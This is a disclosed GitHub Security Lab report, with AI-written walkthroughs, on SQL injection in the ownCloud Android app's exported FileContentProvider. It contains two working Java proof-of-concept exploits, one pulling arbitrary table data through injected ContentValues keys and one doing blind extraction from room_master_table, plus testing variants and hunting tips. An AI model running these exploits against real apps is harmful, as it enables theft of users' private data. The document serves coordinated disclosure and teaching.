Skip to content
SQL injection Disclosed report Intermediate

GitHub Security Lab (GHSL) Vulnerability Report: SQLInjection in FileContentProvider.kt (GHSL-2022-059)

The Owncloud Android app's exported FileContentProvider is vulnerable to SQL injection through its delete, insert, query, and update methods, allowing a malicious app on the same device to extract internal information from the app's databases.

atorralba Follow

Originally disclosed on HackerOne

Bounty$300 Medium 4.2 View original
  • Triaged in 6 days
  • Fixed in 8 months
  • Paid in 8 months
  • Disclosed after 9 months

The GitHub Security Lab team has identified potential security vulnerabilities in Owncloud Android app.

We are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team.

If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at [email protected] (please include GHSL-2022-059 or GHSL-2022-060 as a reference).

If you are NOT the correct point of contact for this report, please let us know!

Summary

The Owncloud Android app uses content providers to manage its data. The provider FileContentProvider has SQL injection vulnerabilities that allows malicious applications or users in the same device to obtain internal information of the app.

Details

The FileContentProvider provider is exported, as can be seen in the Android Manifest:

AndroidManifest.xml:153

XML
<provider
    android:name=".providers.FileContentProvider"
    android:authorities="@string/authority"
    android:enabled="true"
    android:exported="true"
    android:label="@string/sync_string_files"
    android:syncable="true" />

All tables in this content provider can be freely interacted with by other apps in the same device. By reviewing the entry-points of the content provider for those tables, it can be seen that several parameters containing user input end up reaching an unsafe SQL method that allows for SQL injection.

The delete method

User input enters the content provider through the three parameters of this method:

FileContentProvider.kt:85

KT
override fun delete(uri: Uri, where: String?, whereArgs: Array<String>?): Int {

The where parameter reaches the following dangerous arguments without sanitization:

FileContentProvider.kt:102

KT
private fun delete(db: SQLiteDatabase, uri: Uri, where: String?, whereArgs: Array<String>?): Int {
    // --snip--
    when (uriMatcher.match(uri)) {
        SINGLE_FILE -> {
            // --snip--
            count = db.delete(
                ProviderTableMeta.FILE_TABLE_NAME,
                ProviderTableMeta._ID +
                        "=" +
                        uri.pathSegments[1] +
                        if (!TextUtils.isEmpty(where))
                            " AND ($where)" // injection
                        else
                            "", whereArgs
            )
        }
        DIRECTORY -> {
            // --snip--
            count += db.delete(
                ProviderTableMeta.FILE_TABLE_NAME,
                ProviderTableMeta._ID + "=" +
                        uri.pathSegments[1] +
                        if (!TextUtils.isEmpty(where))
                            " AND ($where)" // injection
                        else
                            "", whereArgs
            )
        }
        ROOT_DIRECTORY ->
            count = db.delete(ProviderTableMeta.FILE_TABLE_NAME, where, whereArgs) // injection
        SHARES -> count =
            OwncloudDatabase.getDatabase(MainApp.appContext).shareDao().deleteShare(uri.pathSegments[1])
        CAPABILITIES -> count = db.delete(ProviderTableMeta.CAPABILITIES_TABLE_NAME, where, whereArgs) // injection
        UPLOADS -> count = db.delete(ProviderTableMeta.UPLOADS_TABLE_NAME, where, whereArgs) // injection
        CAMERA_UPLOADS_SYNC -> count = db.delete(ProviderTableMeta.CAMERA_UPLOADS_SYNC_TABLE_NAME, where, whereArgs) // injection
        QUOTAS -> count = db.delete(ProviderTableMeta.USER_QUOTAS_TABLE_NAME, where, whereArgs) // injection
        // --snip--
    }
    // --snip--
}

The insert method

User input enters the content provider through the two parameters of this method:

FileContentProvider.kt:183

KT
override fun insert(uri: Uri, values: ContentValues?): Uri? {

The values parameter reaches the following dangerous arguments without sanitization:

FileContentProvider.kt:197

KT
 private fun insert(db: SQLiteDatabase, uri: Uri, values: ContentValues?): Uri {
    when (uriMatcher.match(uri)) {
        ROOT_DIRECTORY, SINGLE_FILE -> {
            // --snip--
            return if (!doubleCheck.moveToFirst()) {
                // --snip--
                val fileId = db.insert(ProviderTableMeta.FILE_TABLE_NAME, null, values) // injection
                // --snip--
            } 
            // --snip--
        }
        // --snip--

        CAPABILITIES -> {
            val capabilityId = db.insert(ProviderTableMeta.CAPABILITIES_TABLE_NAME, null, values) // injection
            // --snip--
        }

        UPLOADS -> {
            val uploadId = db.insert(ProviderTableMeta.UPLOADS_TABLE_NAME, null, values) // injection
            // --snip--
        }

        CAMERA_UPLOADS_SYNC -> {
            val cameraUploadId = db.insert(
                ProviderTableMeta.CAMERA_UPLOADS_SYNC_TABLE_NAME, null,
                values // injection
            )
            // --snip--
        }
        QUOTAS -> {
            val quotaId = db.insert(
                ProviderTableMeta.USER_QUOTAS_TABLE_NAME, null,
                values // injection
            )
            // --snip--
        }
        // --snip--
    }
}

The query method

User input enters the content provider through the five parameters of this method:

FileContentProvider.kt:304

KT
override fun query(
    uri: Uri,
    projection: Array<String>?,
    selection: String?,
    selectionArgs: Array<String>?,
    sortOrder: String?
): Cursor {

The selection and sortOrder parameters reach the following dangerous arguments without sanitization (note that projection is safe because of the use of a projection map):

FileContentProvider.kt:337

KT
SHARES -> {
    val supportSqlQuery = SupportSQLiteQueryBuilder
        .builder(ProviderTableMeta.OCSHARES_TABLE_NAME)
        .columns(computeProjection(projection))
        .selection(selection, selectionArgs) // injection
        .orderBy(
            if (TextUtils.isEmpty(sortOrder)) {
                sortOrder // injection
            } else {
                ProviderTableMeta.OCSHARES_DEFAULT_SORT_ORDER
            }
        ).create()

    // To use full SQL queries within Room
    val newDb: SupportSQLiteDatabase =
        OwncloudDatabase.getDatabase(MainApp.appContext).openHelper.writableDatabase
    return newDb.query(supportSqlQuery)
}

FileContentProvider.kt:402

KT
val c = sqlQuery.query(db, projection, selection, selectionArgs, null, null, order)

The update method

User input enters the content provider through the four parameters of this method:

FileContentProvider.kt:458

KT
override fun update(uri: Uri, values: ContentValues?, selection: String?, selectionArgs: Array<String>?): Int {

The values and selection parameters reach the following dangerous arguments without sanitization:

FileContentProvider.kt:458

KT
private fun update(
        db: SQLiteDatabase,
        uri: Uri,
        values: ContentValues?,
        selection: String?,
        selectionArgs: Array<String>?
): Int {
    if (selection != null && selectionArgs == null) {
        throw IllegalArgumentException("Selection not allowed, use parameterized queries")
    }
    when (uriMatcher.match(uri)) {
        DIRECTORY -> return 0 //updateFolderSize(db, selectionArgs[0]);
        SHARES -> return values?.let {
            OwncloudDatabase.getDatabase(context!!).shareDao()
                .update(OCShareEntity.fromContentValues(it)).toInt()
        } ?: 0
        CAPABILITIES -> return db.update(ProviderTableMeta.CAPABILITIES_TABLE_NAME, values, selection, selectionArgs) // injection
        UPLOADS -> {
            val ret = db.update(ProviderTableMeta.UPLOADS_TABLE_NAME, values, selection, selectionArgs) // injection
            trimSuccessfulUploads(db)
            return ret
        }
        CAMERA_UPLOADS_SYNC -> return db.update(ProviderTableMeta.CAMERA_UPLOADS_SYNC_TABLE_NAME, values, selection, selectionArgs) // injection
        QUOTAS -> return db.update(ProviderTableMeta.USER_QUOTAS_TABLE_NAME, values, selection, selectionArgs) // injection
        else -> return db.update(
            ProviderTableMeta.FILE_TABLE_NAME, values, selection, selectionArgs // injection
        )
    }
}

Remediation

Consider these suggestions: https://developer.android.com/guide/topics/providers/content-provider-basics#Injection.

In general, any user input, including the parameters of the exposed methods of the ContentProvider interface, should be considered potentially malicious. As such, make sure that they are correctly validated and/or sanitized before using them in SQL statements or calls. This includes the keys in ContentValues objects, since those are used as column names in insert and update calls.

Also, if a content provider does not need to be exported, it is best to set its exported attribute to false so that other applications are not able to access it.

Resources

SQL injection in filelist

The following PoC demonstrates how a malicious application with no special permissions could extract information from any table in the filelist database exploiting the issues mentioned above:

Java
package com.example.test;

import android.content.ContentValues;
import android.content.Context;
import android.database.Cursor;
import android.net.Uri;
import android.util.Log;

public class OwncloudProviderExploit {

    public static String exploit(Context ctx, String columnName, String tableName) throws Exception {
        Uri result = ctx.getContentResolver().insert(Uri.parse("content://org.owncloud/file"), newOwncloudFile());
        ContentValues updateValues = new ContentValues();
        updateValues.put("etag=?,path=(SELECT GROUP_CONCAT(" + columnName + ",'\n') " +
                "FROM " + tableName + ") " +
                "WHERE _id=" + result.getLastPathSegment() + "-- -", "a");
        Log.e("test", "" + ctx.getContentResolver().update(
                result, updateValues, null, null));
        String query = query(ctx, new String[]{"path"},
                "_id=?", new String[]{result.getLastPathSegment()});
        deleteFile(ctx, result.getLastPathSegment());
        return query;
    }

    public static String query(Context ctx, String[] projection, String selection, String[] selectionArgs) throws Exception {
        try (Cursor mCursor = ctx.getContentResolver().query(Uri.parse("content://org.owncloud/file"),
                projection,
                selection,
                selectionArgs,
                null)) {
            if (mCursor == null) {
                Log.e("evil", "mCursor is null");
                return "0";
            }
            StringBuilder output = new StringBuilder();
            while (mCursor.moveToNext()) {
                for (int i = 0; i < mCursor.getColumnCount(); i++) {
                    String column = mCursor.getColumnName(i);
                    String value = mCursor.getString(i);
                    output.append("|").append(column).append(":").append(value);
                }
                output.append("\n");
            }
            return output.toString();
        }
    }

    private static ContentValues newOwncloudFile() throws Exception {
        ContentValues values = new ContentValues();
        values.put("parent", "a");
        values.put("filename", "a");
        values.put("created", "a");
        values.put("modified", "a");
        values.put("modified_at_last_sync_for_data", "a");
        values.put("content_length", "a");
        values.put("content_type", "a");
        values.put("media_path", "a");
        values.put("path", "a");
        values.put("file_owner", "a");
        values.put("last_sync_date", "a");
        values.put("last_sync_date_for_data", "a");
        values.put("etag", "a");
        values.put("share_by_link", "a");
        values.put("shared_via_users", "a");
        values.put("permissions", "a");
        values.put("remote_id", "a");
        values.put("update_thumbnail", "a");
        values.put("is_downloading", "a");
        values.put("etag_in_conflict", "a");
        return values;
    }

    public static String deleteFile(Context ctx, String id) throws Exception {
        ctx.getContentResolver().delete(
                Uri.parse("content://org.owncloud/file/" + id),
                null,
                null
        );
        return "1";
    }
}

By providing a columnName and tableName to the exploit function, the attacker takes advantage of the issues explained above to:

  • Create a new file entry in FileContentProvider.
  • Exploit the SQL Injection in the update method to set the path of the recently created file to the values of columnName in the table tableName.
  • Query the path of the modified file entry to obtain the desired values.
  • Delete the file entry.

For instance, exploit(context, "name", "SQLITE_MASTER WHERE type="table") would return all the tables in the filelist database.

Blind SQL injection in owncloud_database

The following PoC demonstrates how a malicious application with no special permissions could extract information from any table in the owncloud_database database exploiting the issues mentioned above using a Blind SQL injection technique:

Java
package com.example.test;

import android.content.Context;
import android.database.Cursor;
import android.net.Uri;
import android.util.Log;

public class OwncloudProviderExploit {

    public static String blindExploit(Context ctx) {
        String output = "";
        String chars = "abcdefghijklmopqrstuvwxyz0123456789";
        while (true) {
            int outputLength = output.length();
            for (int i = 0; i < chars.length(); i++) {
                char candidate = chars.charAt(i);
                String attempt = String.format("%s%c%s", output, candidate, "%");
                try (Cursor mCursor = ctx.getContentResolver().query(
                        Uri.parse("content://org.owncloud/shares"),
                        null,
                        "'a'=? AND (SELECT identity_hash FROM room_master_table) LIKE '" + attempt + "'",
                        new String[]{"a"}, null)) {
                    if (mCursor == null) {
                        Log.e("ProviderHelper", "mCursor is null");
                        return "0";
                    }
                    if (mCursor.getCount() > 0) {
                        output += candidate;
                        Log.i("evil", output);
                        break;
                    }
                }
            }
            if (output.length() == outputLength)
                break;
        }
        return output;
    }

}

GitHub Security Advisories

We recommend you create a private GitHub Security Advisory for these findings. This also allows you to invite the GHSL team to collaborate and further discuss these findings in private before they are published.

Credit

These issues were discovered and reported by the CodeQL team member @atorralba (Tony Torralba).

Contact

You can contact the GHSL team at [email protected], please include a reference to GHSL-2022-059 or GHSL-2022-060 in any communication regarding these issues.

Disclosure Policy

This report is subject to our coordinated disclosure policy.

Impact

There are two databases affected by this vulnerability: filelist and owncloud_database.

Since the tables in filelist are affected by the injections in the insert and update methods, an attacker can use those to insert a crafted row in any table of the database containing data queried from other tables. After that, the attacker only needs to query the crafted row to obtain the information (see the Resources section for a PoC). Despite that, currently all tables are legitimately exposed through the content provider itself, so the injections cannot be exploited to obtain any extra data. Nonetheless, if new tables were added in the future that were not accessible through the content provider, those could be accessed using these vulnerabilities.

Regarding the tables in owncloud_database, there are two that are not accessible through the content provider: room_master_table and folder_backup. An attacker can exploit the vulnerability in the query method to exfiltrate data from those. Since the strictMode is enabled in the query method, the attacker needs to use a Blind SQL injection attack to succeed (see the Resources section for a PoC).

In both cases, the impact is information disclosure. Take into account that the tables exposed in the content provider (most of them) are arbitrarily modifiable by third party apps without exploiting any vulnerability, since the FileContentProvider is exported and does not require any permissions.

The original report as published on HackerOne, by atorralba. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 12 min read.

Context

The target is the ownCloud Android app (com.owncloud.android), an open source client for the ownCloud file sync and share service. The app stores its local state in SQLite databases and exposes that state to the rest of the Android system through content providers, the standard Android mechanism for sharing structured data between applications.

The provider in question is FileContentProvider. It is declared in the app manifest as exported, which means any other application installed on the same device can address it through a content URI and call the usual ContentProvider entry points: query, insert, update and delete. The report examines those four entry points and shows that user-controlled parameters reach raw SQLite calls without sanitisation, producing SQL injection in several tables.

The report was filed as GHSL-2022-059 (with a companion GHSL-2022-060 reference used in correspondence) by the GitHub Security Lab, and the finding was credited to @atorralba (Tony Torralba), a member of the CodeQL team. The platform records it as a medium severity SQL injection with a CVSS score of 4.2, a 300 USD bounty, and public disclosure on 2023-04-12.

Setup

No accounts, credentials or special tooling are needed to reproduce the issue. The precondition is simply that a malicious application is installed on the same device as the ownCloud app. The proof-of-concept code is ordinary Android Java: it obtains a ContentResolver from a Context and talks to the provider through content URIs. The authority used in the PoCs is org.owncloud, and the paths used are file and shares.

The code references in the report point at commit [redacted] of the owncloud/android repository.

Finding it

The starting point is the manifest declaration of the provider, at AndroidManifest.xml:153:

XML
<provider
    android:name=".providers.FileContentProvider"
    android:authorities="@string/authority"
    android:enabled="true"
    android:exported="true"
    android:label="@string/sync_string_files"
    android:syncable="true" />

Because android:exported is true, every table behind this provider can be freely interacted with by other apps on the same device. The researcher then reviewed the entry points of the content provider for those tables and found that several parameters carrying user input end up in unsafe SQL methods, which allows SQL injection.

Exploitation

The report walks through each of the four overridden methods and marks the injection points in the code. The PoCs then chain them.

Step 1: the delete method

User input enters through the three parameters of the public method at FileContentProvider.kt:85:

KT
override fun delete(uri: Uri, where: String?, whereArgs: Array<String>?): Int {

The where parameter reaches the following dangerous arguments without sanitisation (FileContentProvider.kt:102):

KT
private fun delete(db: SQLiteDatabase, uri: Uri, where: String?, whereArgs: Array<String>?): Int {
    // --snip--
    when (uriMatcher.match(uri)) {
        SINGLE_FILE -> {
            // --snip--
            count = db.delete(
                ProviderTableMeta.FILE_TABLE_NAME,
                ProviderTableMeta._ID +
                        "=" +
                        uri.pathSegments[1] +
                        if (!TextUtils.isEmpty(where))
                            " AND ($where)" // injection
                        else
                            "", whereArgs
            )
        }
        DIRECTORY -> {
            // --snip--
            count += db.delete(
                ProviderTableMeta.FILE_TABLE_NAME,
                ProviderTableMeta._ID + "=" +
                        uri.pathSegments[1] +
                        if (!TextUtils.isEmpty(where))
                            " AND ($where)" // injection
                        else
                            "", whereArgs
            )
        }
        ROOT_DIRECTORY ->
            count = db.delete(ProviderTableMeta.FILE_TABLE_NAME, where, whereArgs) // injection
        SHARES -> count =
            OwncloudDatabase.getDatabase(MainApp.appContext).shareDao().deleteShare(uri.pathSegments[1])
        CAPABILITIES -> count = db.delete(ProviderTableMeta.CAPABILITIES_TABLE_NAME, where, whereArgs) // injection
        UPLOADS -> count = db.delete(ProviderTableMeta.UPLOADS_TABLE_NAME, where, whereArgs) // injection
        CAMERA_UPLOADS_SYNC -> count = db.delete(ProviderTableMeta.CAMERA_UPLOADS_SYNC_TABLE_NAME, where, whereArgs) // injection
        QUOTAS -> count = db.delete(ProviderTableMeta.USER_QUOTAS_TABLE_NAME, where, whereArgs) // injection
        // --snip--
    }
    // --snip--
}

In the SINGLE_FILE and DIRECTORY branches the where string is concatenated into the selection together with the ID taken from the URI path segment, so the caller controls part of the SQL text. In the ROOT_DIRECTORY, CAPABILITIES, UPLOADS, CAMERA_UPLOADS_SYNC and QUOTAS branches the where string is passed straight to db.delete as the selection. The SHARES branch goes through the Room DAO instead and is not marked as an injection point.

Step 2: the insert method

User input enters through the two parameters of the public method at FileContentProvider.kt:183:

KT
override fun insert(uri: Uri, values: ContentValues?): Uri? {

The values parameter reaches the following dangerous arguments without sanitisation (FileContentProvider.kt:197):

KT
 private fun insert(db: SQLiteDatabase, uri: Uri, values: ContentValues?): Uri {
    when (uriMatcher.match(uri)) {
        ROOT_DIRECTORY, SINGLE_FILE -> {
            // --snip--
            return if (!doubleCheck.moveToFirst()) {
                // --snip--
                val fileId = db.insert(ProviderTableMeta.FILE_TABLE_NAME, null, values) // injection
                // --snip--
            }
            // --snip--
        }
        // --snip--

        CAPABILITIES -> {
            val capabilityId = db.insert(ProviderTableMeta.CAPABILITIES_TABLE_NAME, null, values) // injection
            // --snip--
        }

        UPLOADS -> {
            val uploadId = db.insert(ProviderTableMeta.UPLOADS_TABLE_NAME, null, values) // injection
            // --snip--
        }

        CAMERA_UPLOADS_SYNC -> {
            val cameraUploadId = db.insert(
                ProviderTableMeta.CAMERA_UPLOADS_SYNC_TABLE_NAME, null,
                values // injection
            )
            // --snip--
        }
        QUOTAS -> {
            val quotaId = db.insert(
                ProviderTableMeta.USER_QUOTAS_TABLE_NAME, null,
                values // injection
            )
            // --snip--
        }
        // --snip--
    }
}

Here the injection is in the ContentValues object itself. The remediation section makes the reason explicit: the keys in ContentValues objects are used as column names in insert and update calls, so they are part of the SQL statement text.

Step 3: the query method

User input enters through the five parameters of the public method at FileContentProvider.kt:304:

KT
override fun query(
    uri: Uri,
    projection: Array<String>?,
    selection: String?,
    selectionArgs: Array<String>?,
    sortOrder: String?
): Cursor {

The selection and sortOrder parameters reach the following dangerous arguments without sanitisation. The report notes that projection is safe because of the use of a projection map (FileContentProvider.kt:337):

KT
SHARES -> {
    val supportSqlQuery = SupportSQLiteQueryBuilder
        .builder(ProviderTableMeta.OCSHARES_TABLE_NAME)
        .columns(computeProjection(projection))
        .selection(selection, selectionArgs) // injection
        .orderBy(
            if (TextUtils.isEmpty(sortOrder)) {
                sortOrder // injection
            } else {
                ProviderTableMeta.OCSHARES_DEFAULT_SORT_ORDER
            }
        ).create()

    // To use full SQL queries within Room
    val newDb: SupportSQLiteDatabase =
        OwncloudDatabase.getDatabase(MainApp.appContext).openHelper.writableDatabase
    return newDb.query(supportSqlQuery)
}

And at FileContentProvider.kt:402:

KT
val c = sqlQuery.query(db, projection, selection, selectionArgs, null, null, order)

The SHARES branch builds a SupportSQLiteQuery through SupportSQLiteQueryBuilder, passing selection and sortOrder into it, and executes it against the writable database obtained from the Room open helper. The second snippet shows the selection being handed to SQLiteQuery.query directly.

Step 4: the update method

User input enters through the four parameters of the public method at FileContentProvider.kt:458:

KT
override fun update(uri: Uri, values: ContentValues?, selection: String?, selectionArgs: Array<String>?): Int {

The values and selection parameters reach the following dangerous arguments without sanitisation (FileContentProvider.kt:458):

KT
private fun update(
        db: SQLiteDatabase,
        uri: Uri,
        values: ContentValues?,
        selection: String?,
        selectionArgs: Array<String>?
): Int {
    if (selection != null && selectionArgs == null) {
        throw IllegalArgumentException("Selection not allowed, use parameterized queries")
    }
    when (uriMatcher.match(uri)) {
        DIRECTORY -> return 0 //updateFolderSize(db, selectionArgs[0]);
        SHARES -> return values?.let {
            OwncloudDatabase.getDatabase(context!!).shareDao()
                .update(OCShareEntity.fromContentValues(it)).toInt()
        } ?: 0
        CAPABILITIES -> return db.update(ProviderTableMeta.CAPABILITIES_TABLE_NAME, values, selection, selectionArgs) // injection
        UPLOADS -> {
            val ret = db.update(ProviderTableMeta.UPLOADS_TABLE_NAME, values, selection, selectionArgs) // injection
            trimSuccessfulUploads(db)
            return ret
        }
        CAMERA_UPLOADS_SYNC -> return db.update(ProviderTableMeta.CAMERA_UPLOADS_SYNC_TABLE_NAME, values, selection, selectionArgs) // injection
        QUOTAS -> return db.update(ProviderTableMeta.USER_QUOTAS_TABLE_NAME, values, selection, selectionArgs) // injection
        else -> return db.update(
            ProviderTableMeta.FILE_TABLE_NAME, values, selection, selectionArgs // injection
        )
    }
}

There is a guard at the top: if selection is non-null and selectionArgs is null, the method throws IllegalArgumentException("Selection not allowed, use parameterized queries"). That guard does not prevent injection, because a caller can simply supply a non-null selectionArgs array alongside a malicious selection, and the values keys remain injectable regardless. The SHARES branch goes through the Room DAO and is not marked as an injection point.

Step 5: extracting data from filelist

The first PoC is a malicious application with no special permissions that extracts information from any table in the filelist database:

Java
package com.example.test;

import android.content.ContentValues;
import android.content.Context;
import android.database.Cursor;
import android.net.Uri;
import android.util.Log;

public class OwncloudProviderExploit {

    public static String exploit(Context ctx, String columnName, String tableName) throws Exception {
        Uri result = ctx.getContentResolver().insert(Uri.parse("content://org.owncloud/file"), newOwncloudFile());
        ContentValues updateValues = new ContentValues();
        updateValues.put("etag=?,path=(SELECT GROUP_CONCAT(" + columnName + ",'\n') " +
                "FROM " + tableName + ") " +
                "WHERE _id=" + result.getLastPathSegment() + "-- -", "a");
        Log.e("test", "" + ctx.getContentResolver().update(
                result, updateValues, null, null));
        String query = query(ctx, new String[]{"path"},
                "_id=?", new String[]{result.getLastPathSegment()});
        deleteFile(ctx, result.getLastPathSegment());
        return query;
    }

    public static String query(Context ctx, String[] projection, String selection, String[] selectionArgs) throws Exception {
        try (Cursor mCursor = ctx.getContentResolver().query(Uri.parse("content://org.owncloud/file"),
                projection,
                selection,
                selectionArgs,
                null)) {
            if (mCursor == null) {
                Log.e("evil", "mCursor is null");
                return "0";
            }
            StringBuilder output = new StringBuilder();
            while (mCursor.moveToNext()) {
                for (int i = 0; i < mCursor.getColumnCount(); i++) {
                    String column = mCursor.getColumnName(i);
                    String value = mCursor.getString(i);
                    output.append("|").append(column).append(":").append(value);
                }
                output.append("\n");
            }
            return output.toString();
        }
    }

    private static ContentValues newOwncloudFile() throws Exception {
        ContentValues values = new ContentValues();
        values.put("parent", "a");
        values.put("filename", "a");
        values.put("created", "a");
        values.put("modified", "a");
        values.put("modified_at_last_sync_for_data", "a");
        values.put("content_length", "a");
        values.put("content_type", "a");
        values.put("media_path", "a");
        values.put("path", "a");
        values.put("file_owner", "a");
        values.put("last_sync_date", "a");
        values.put("last_sync_date_for_data", "a");
        values.put("etag", "a");
        values.put("share_by_link", "a");
        values.put("shared_via_users", "a");
        values.put("permissions", "a");
        values.put("remote_id", "a");
        values.put("update_thumbnail", "a");
        values.put("is_downloading", "a");
        values.put("etag_in_conflict", "a");
        return values;
    }

    public static String deleteFile(Context ctx, String id) throws Exception {
        ctx.getContentResolver().delete(
                Uri.parse("content://org.owncloud/file/" + id),
                null,
                null
        );
        return "1";
    }
}

The exploit function takes a columnName and a tableName and performs four actions:

  1. Create a new file entry in FileContentProvider by inserting a ContentValues object populated with the file columns set to "a".
  2. Exploit the SQL injection in the update method to set the path of the recently created file to the values of columnName in the table tableName. The injection lives in the ContentValues key: etag=?,path=(SELECT GROUP_CONCAT(...) FROM ...) WHERE _id=<id>-- -. The key is used as a column name, so the subquery is evaluated as part of the update statement, and the trailing -- - comments out the rest of the generated SQL. The value "a" fills the etag=? placeholder.
  3. Query the path of the modified file entry to obtain the desired values, using _id=? with the row ID as the selection argument.
  4. Delete the file entry.

For instance, exploit(context, "name", "SQLITE_MASTER WHERE type="table") would return all the tables in the filelist database.

Step 6: blind extraction from owncloud_database

The second PoC targets the owncloud_database database with a blind SQL injection technique:

Java
package com.example.test;

import android.content.Context;
import android.database.Cursor;
import android.net.Uri;
import android.util.Log;

public class OwncloudProviderExploit {

    public static String blindExploit(Context ctx) {
        String output = "";
        String chars = "[redacted]";
        while (true) {
            int outputLength = output.length();
            for (int i = 0; i < chars.length(); i++) {
                char candidate = chars.charAt(i);
                String attempt = String.format("%s%c%s", output, candidate, "%");
                try (Cursor mCursor = ctx.getContentResolver().query(
                        Uri.parse("content://org.owncloud/shares"),
                        null,
                        "'a'=? AND (SELECT identity_hash FROM room_master_table) LIKE '" + attempt + "'",
                        new String[]{"a"}, null)) {
                    if (mCursor == null) {
                        Log.e("ProviderHelper", "mCursor is null");
                        return "0";
                    }
                    if (mCursor.getCount() > 0) {
                        output += candidate;
                        Log.i("evil", output);
                        break;
                    }
                }
            }
            if (output.length() == outputLength)
                break;
        }
        return output;
    }

}

The function queries content://org.owncloud/shares with a selection that is built by string concatenation: 'a'=? AND (SELECT identity_hash FROM room_master_table) LIKE '<attempt>', with selectionArgs set to {"a"}. It iterates over a candidate character set, extending the known prefix one character at a time, and uses mCursor.getCount() > 0 as the oracle: a non-empty result means the guessed prefix matched. The loop stops when a full pass adds no new character. This is needed because strictMode is enabled in the query method, so the attacker cannot read the value directly and has to infer it.

Root cause

The provider is exported and requires no permissions, so any app on the device can call it. Inside the provider, caller-supplied strings are concatenated into SQL text or passed as raw selection and sort order arguments to SQLiteDatabase methods, instead of being bound as parameters. The same applies to the keys of ContentValues objects, which become column names in insert and update statements. The one defensive check present, the IllegalArgumentException in update when selection is non-null and selectionArgs is null, is trivially bypassed by supplying a selectionArgs array, and it does nothing about the injectable values keys. The projection parameter is safe because it goes through a projection map.

Impact

Two databases are affected: filelist and owncloud_database.

For filelist, the injections in insert and update let an attacker insert a crafted row in any table of the database containing data queried from other tables, then query the crafted row to obtain the information. However, all tables in filelist are already legitimately exposed through the content provider itself, so the injections cannot be used to obtain any extra data today. The risk is forward-looking: if new tables were added in the future that were not accessible through the content provider, those could be accessed using these vulnerabilities.

For owncloud_database, two tables are not accessible through the content provider: room_master_table and folder_backup. The injection in the query method can exfiltrate data from those. Because strictMode is enabled in the query method, the attacker has to use a blind SQL injection attack to succeed.

In both cases the impact is information disclosure. The report also points out that the tables exposed in the content provider, which is most of them, are arbitrarily modifiable by third party apps without exploiting any vulnerability at all, since FileContentProvider is exported and does not require any permissions.

Fix

The report offers remediation guidance rather than describing a patch. It points to the Android documentation on content provider injection and states the general rule: any user input, including the parameters of the exposed methods of the ContentProvider interface, should be considered potentially malicious and must be validated and/or sanitised before being used in SQL statements or calls. This includes the keys in ContentValues objects, since those are used as column names in insert and update calls. It also recommends setting the provider's exported attribute to false if the content provider does not need to be exported, so other applications cannot access it.

Variants to test

  • Enumerate exported providers in a target app's manifest and call each of query, insert, update and delete with crafted selection, sortOrder and ContentValues keys. A positive result is a SQL error, a changed row count, or data from a table you did not address appearing in a result.
  • Try the update guard bypass pattern: pass a non-null selectionArgs array together with a malicious selection. A positive result is that the call succeeds instead of throwing.
  • Inject through ContentValues keys rather than values, using a subquery in the key and a trailing comment. A positive result is the subquery's output stored in a readable column.
  • Use a boolean oracle on a provider whose query path is otherwise restricted, as in the blind PoC. A positive result is a stable difference in cursor count between true and false guesses.
  • Check whether tables exist that the provider does not expose, such as Room metadata tables. A positive result is being able to infer their contents through injection even though no URI maps to them.

Hunting notes

This class of bug hides in Android apps that expose content providers for sync, file management or local caching, and in any provider declared with android:exported="true" in the manifest. The manifest is the first thing to read: an exported provider with no permission requirement is the precondition for everything else. From there, follow each overridden method to the SQLite calls and look for string concatenation of selection, sortOrder or where, and for ContentValues keys that are not validated. A guard that rejects a null selectionArgs is a signal worth testing rather than a barrier, since supplying the array is trivial. The report established impact by showing extraction from a table that the provider does not otherwise expose (room_master_table), which is what turns a theoretical injection into a demonstrable information disclosure; the same reasoning applies when scoping a similar finding, since injections that only reach already-exposed tables are weaker.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 24 min read.

What happened, in plain words

The ownCloud Android app is a free app you install on an Android phone to keep your files in sync with an ownCloud server. To work offline and quickly, the app keeps a copy of its information (file lists, upload queues, share links, and so on) in small databases stored on the phone itself. Android has a standard way for apps to share such stored data with other apps on the same phone, called a content provider. Think of a content provider as a service window: another app can walk up to the window and ask to read, add, change or remove records, without ever touching the database file directly.

The security researchers at the GitHub Security Lab looked at the window that the ownCloud app opens, called FileContentProvider, and found that it is open to every app on the phone, with no lock and no permission check. Worse, when another app asks the window to do something, the app takes the text of that request and pastes it straight into the instructions it gives to its database. That is the classic recipe for SQL injection: a database understands a small programming language called SQL, and if you can slip extra SQL words into a request, the database will obediently carry them out.

The result is that a malicious app, with no special permissions at all, can read information from the app's databases that it was never meant to see.

The pieces you need to know first

Before walking through the report, here are the few ideas it leans on. None of them require any security background.

  • Android app: a program installed on a phone. Each app normally runs in its own little sandbox, so it cannot read another app's private files.
  • SQLite database: a single file that stores data in tables, like a spreadsheet with named columns and rows. Android apps use SQLite constantly.
  • SQL: the language used to talk to such a database. A typical instruction looks like SELECT name FROM files WHERE _id=5, which means "give me the name column from the files table for the row whose _id is 5".
  • Content provider: Android's official mechanism for one app to offer data to other apps. It has four standard operations: query (read), insert (add), update (change) and delete (remove).
  • Exported provider: a provider marked in the app's manifest (a configuration file that describes the app) as available to other apps. If it is exported and asks for no permission, any app on the phone can use it.
  • Content URI: the address used to reach a provider, for example content://org.owncloud/file. It plays the role a web address plays on the internet.
  • SQL injection: a vulnerability where untrusted text is glued into an SQL instruction instead of being kept separate from it, so the untrusted text can change what the instruction does. The everyday comparison: a form that says "write your name here" and then reads your answer out loud as a command. If you write "Alice, and also open the safe", the safe gets opened.
  • Parameterised query: the safe alternative. The instruction and the data travel separately, so the database never mistakes data for commands. It is like handing a form to a clerk who reads only the answer field, never the instructions.
  • Blind SQL injection: when the app does not show you the stolen data directly, you ask yes/no questions instead ("does the secret start with a? does it start with ab?") and rebuild the secret one character at a time from the answers.
  • CVSS: a standard 0 to 10 score for how serious a vulnerability is. 4.2 is medium.

Context

The target is the ownCloud Android app (com.owncloud.android), an open source client for the ownCloud file sync and share service. The app stores its local state in SQLite databases and exposes that state to the rest of the Android system through content providers, the standard Android mechanism for sharing structured data between applications.

The provider in question is FileContentProvider. It is declared in the app manifest as exported, which means any other application installed on the same device can address it through a content URI and call the usual ContentProvider entry points: query, insert, update and delete. The report examines those four entry points and shows that user-controlled parameters reach raw SQLite calls without sanitisation, producing SQL injection in several tables.

